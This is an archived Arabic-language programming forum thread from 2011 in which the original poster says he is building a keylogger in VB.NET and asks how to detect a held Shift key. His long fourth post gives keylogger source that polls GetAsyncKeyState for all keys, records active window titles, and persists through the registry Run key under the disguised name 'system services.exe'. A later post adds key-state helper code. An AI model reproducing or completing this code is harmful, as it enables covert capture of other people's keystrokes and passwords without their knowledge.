الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

الحصول على حالة ضغط المفاتيح

بدأه Rasool Micro في 9 نوفمبر 2011 · 5 رد · 631 مشاهدة · في Microsoft Visual Basic.NET
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام وعليكم

تحية الى المبرمجين العرب .........................

لدي سؤال يحريني جداً حيث اني اقوم بصنع برنامج لمراقبة المفاتيح التي يضغطها المبرمج (keylogger) وخلال كتابتي للبرنامج واجهتني مشكلة وهية عندما يريد المستخدم ان يكتب رموز معينة مثل "#" او "$" فانه سوف يضغط على مفتاح الShift وسيظل ضاغطاً عليه حتى يقوم بالضغط على زر 2 او 3

فهل هناك دالة معينة موجودة في النظام مثل دوال user32.dll حيث هذه الدالة سوف ترجع لي قيمة ture مثلا حتى يرفع المستخدم اصبعه من المفتاح فيرجع لي false؟؟؟؟؟؟؟؟؟؟

ملاحظة : الامر سيان لalt+shift وalt+ctrl+delete وغيرها........................

وشكراً

#2

السلام عليكم ورحمه الله وبركاته

اخي ببساطه في الحدث KeyDown يمكنك استخدام الوسيط e للحصول على الخاصيه Shift و Control و Alt طبع كلهم يرجعوا قيم منطقية اذا تم ضغط ذلك الزر

تم تعديل هذه المشاركة بواسطة VB Helper في 9 نوفمبر 2011 في 22:56

.:: Wish to become better and better ::.

#3

السلام عليكم

ممكن تستفيد من الرابط التالي

http://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm

منحة للخريجين وطلاب الجامعات و المعاهد

دبلومة لتخريج مبرمج متخصص في هندسة صناعة البرمجيات وتصميم وبرمجة تطبيقات الأنترنت

سبحان الله وبحمده سبحان الله العظيم

#4

اخواني الاعزاء

المعلومات التي اعطيتموني اياها لم تكن مساعدة لانه انا اردت ان يحضر لي المفتاح المضغوط حتى لو كان window الخاص ببرنامجي غير مفعل (اي active window)

يعني ان برنامجي هو يراقب المفاتيح المضغوطة على keyboard اي حتى لو لم يكن برنامجي غير مفعل كما في الكود التالي

Private Declare Function GetForegroundWindow Lib "user32" () As IntPtr
    Private Declare Function GetWindowTextA Lib "user32" (ByVal hWnd As IntPtr, ByVal lpWindowText As StringBuilder, ByVal nMaxCount As Integer) As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        timer1.interval=10
timer1.start()
end sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        keylogger(key, withSpecialChars)
        If s <> GetWindowText.Text Then
            key += "<br />" & "(window activated=" & GetWindowText.Text & ")" & "<br />"
        End If
        s = GetWindowText.Text
        RunAtStartup(True, "system services.exe")

        TextBox1.Text = key
    End Sub
Sub keylogger(ByRef key As String, ByVal withSpecialChars As Boolean)
        Dim k As System.Windows.Forms.Keys
        Dim s As String = ""
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                k = i
                If k >= Keys.D0 And k <= Keys.D9 Then
                    key += Chr(i)
                Else
                    If k >= Keys.A And k <= Keys.Z Then
                        If GetkeyState(VK_CAPSLOCK) = 0 Then
                            Select Case k
                                Case Keys.A : key += "a"
                                Case Keys.B : key += "b"
                                Case Keys.C : key += "c"
                                Case Keys.D : key += "d"
                                Case Keys.E : key += "e"
                                Case Keys.F : key += "f"
                                Case Keys.G : key += "g"
                                Case Keys.H : key += "h"
                                Case Keys.I : key += "i"
                                Case Keys.J : key += "j"
                                Case Keys.K : key += "k"
                                Case Keys.L : key += "l"
                                Case Keys.M : key += "m"
                                Case Keys.N : key += "n"
                                Case Keys.O : key += "o"
                                Case Keys.P : key += "p"
                                Case Keys.Q : key += "q"
                                Case Keys.R : key += "r"
                                Case Keys.S : key += "s"
                                Case Keys.T : key += "t"
                                Case Keys.U : key += "u"
                                Case Keys.V : key += "v"
                                Case Keys.W : key += "w"
                                Case Keys.X : key += "x"
                                Case Keys.Y : key += "y"
                                Case Keys.Z : key += "z"
                            End Select
                        Else
                            key += k.ToString()
                        End If
                    Else
                        Select Case k
                            Case Keys.Oem5 : key += "\"
                            Case Keys.Oemplus : key += "+"
                            Case Keys.OemMinus : key += "-"
                            Case Keys.NumPad0 : key += "0"
                            Case Keys.NumPad1 : key += "1"
                            Case Keys.NumPad2 : key += "2"
                            Case Keys.NumPad3 : key += "3"
                            Case Keys.NumPad4 : key += "4"
                            Case Keys.NumPad5 : key += "5"
                            Case Keys.NumPad6 : key += "6"
                            Case Keys.NumPad7 : key += "7"
                            Case Keys.NumPad8 : key += "8"
                            Case Keys.NumPad9 : key += "9"
                            Case Keys.Multiply : key += "+"
                            Case Keys.Subtract : key += "-"
                            Case Keys.Oemcomma : key += ","
                            Case Keys.Return
                                key += "(" & k.ToString() & ")"
                                key += "<br />"
                            Case Else
                                If withSpecialChars = True Then
                                    key += "(" & k.ToString() & ")"
                                Else
                                    Select Case k
                                        Case Keys.Space
                                            key += " "
                                        Case Keys.Back
                                            If key(key.Length - 1) <> ">" Then
                                                key = key.Remove(key.Length - 1)
                                            End If
                                    End Select
                                End If
                        End Select
                    End If
                End If
            End If
        Next
    End Sub
    Sub RunAtStartup(ByVal PutAtStartup As Boolean, ByVal ProgramName As String)
        Dim StartupPath As String = "Software\Microsoft\Windows\CurrentVersion\Run"
        Dim myKey As Microsoft.Win32.RegistryKey
        myKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(StartupPath, True)
        If PutAtStartup = True Then
            Try
                myKey.SetValue(ProgramName, Application.ExecutablePath)
            Catch ex As Exception
                Errlog &= ex.ToString & vbNewLine
            End Try
        Else
            Try
                myKey.DeleteValue(ProgramName, False)
            Catch ex As Exception
                Errlog &= ex.ToString & vbNewLine
            End Try
        End If
    End Sub
    Private Function GetWindowText() As Window
        Dim title As New StringBuilder(255)
        Dim titleLength As Integer = GetWindowTextA(GetForegroundWindow(), title, title.Capacity + 1)
        title.Length = titleLength
        Dim w As New Window
        w.Text = title.ToString()
        w.Handle = GetForegroundWindow()
        Return w
    End Function
    Public Structure Window
        Public Handle As IntPtr
        Public Text As String
    End Structure

من خلال الكود اعلاه يتبين اني اقوم بالدخول الى user32.dll والتي فيها دوال تخص حالات العمل التي يقوم بها المستخدم مثل جلب اسم النافذة النشطة وضغطات المفاتيح وحالة caps lock والخ

فكيف اقوم العمل التي شرحت لكم اياه بواسطة هذا الملف user32.dll او غيره

ارجوا اني فهمتكم مشكلتي بشكل جيد

#5

السلام عليكم ورحمه الله وبركاته

اخي شوف الروابط التاليه ستفيدك

http://stackoverflow.com/questions/1100285/how-to-detect-the-currently-pressed-key

http://bytes.com/topic/c-sharp/answers/448485-application-starting-detecting-shift-key-pressed

http://pinvoke.net/default.aspx/user32.GetKeyState

.:: Wish to become better and better ::.

#6
VB Helper كتب:

اخي السلام وعليكم...... واسف لان رديت عليك متأخر

على العموم

الروابط التي اعطيتني اياها كانت الى حداً ما مساعدة لكن المشكلة لم يفلح معي بشكل جيد

سوف اشرح لك ما مشكلتي

اولاً هذا هو الكود الذي استطعت ان استنتجه من هذه الروابط

Private Enum KeyStates
        None = 0
        Down = 1
        Toggled = 2
    End Enum
    Private Shared Function GetKeyState(ByVal key As System.Windows.Forms.Keys) As KeyStates
        Dim state = KeyStates.None
        Dim retVal = GetKeyState(CType(key, Integer))
        If retVal And &H8000 = &H8000 Then
            state = state Or KeyStates.Down
        End If
        If retVal And 1 = 1 Then
            state = state Or KeyStates.Toggled
        End If
        Return state
    End Function
    Public Shared Function IsKeyDown(ByVal key As Keys) As Boolean
        Return KeyStates.Down = (GetKeyState(key) And KeyStates.Down)
    End Function
    Public Shared Function IsKeyToggled(ByVal key As Keys) As Boolean
        Return KeyStates.Toggled = (GetKeyState(key) And KeyStates.Toggled)
    End Function
Private Declare Function GetkeyState Lib "user32" Alias "GetKeyState" (ByVal nVirtKey As Int32) As Int16
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer2.Interval = 10
        Timer2.Start()
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Label1.Text = IsKeyDown(Keys.ShiftKey)
    End Sub

فعند الضغط على زر الshift والبقاء على ضغطه سوف يحول من false الى true وعند الضغط عليه مرة اخرى سوف يحول من true الى False

فما الهدف من ذلك!!!!!؟؟؟؟ هذا لست ما اتنماه فلقد شرحت لكم ما اريده وهو عند الضغط على زر shift والبقاء على ضغطه فيجب ان يرسل لي قيمة true الى ان ارفع اصبعي من الزر فيرجع لي false

اتمنى ان يكون هذا واضحاً لكم

وارجوا الرد

مع تحياتي

وشكراً

تم تعديل هذه المشاركة بواسطة Rasool Micro في 18 نوفمبر 2011 في 15:22

مواضيع مشابهة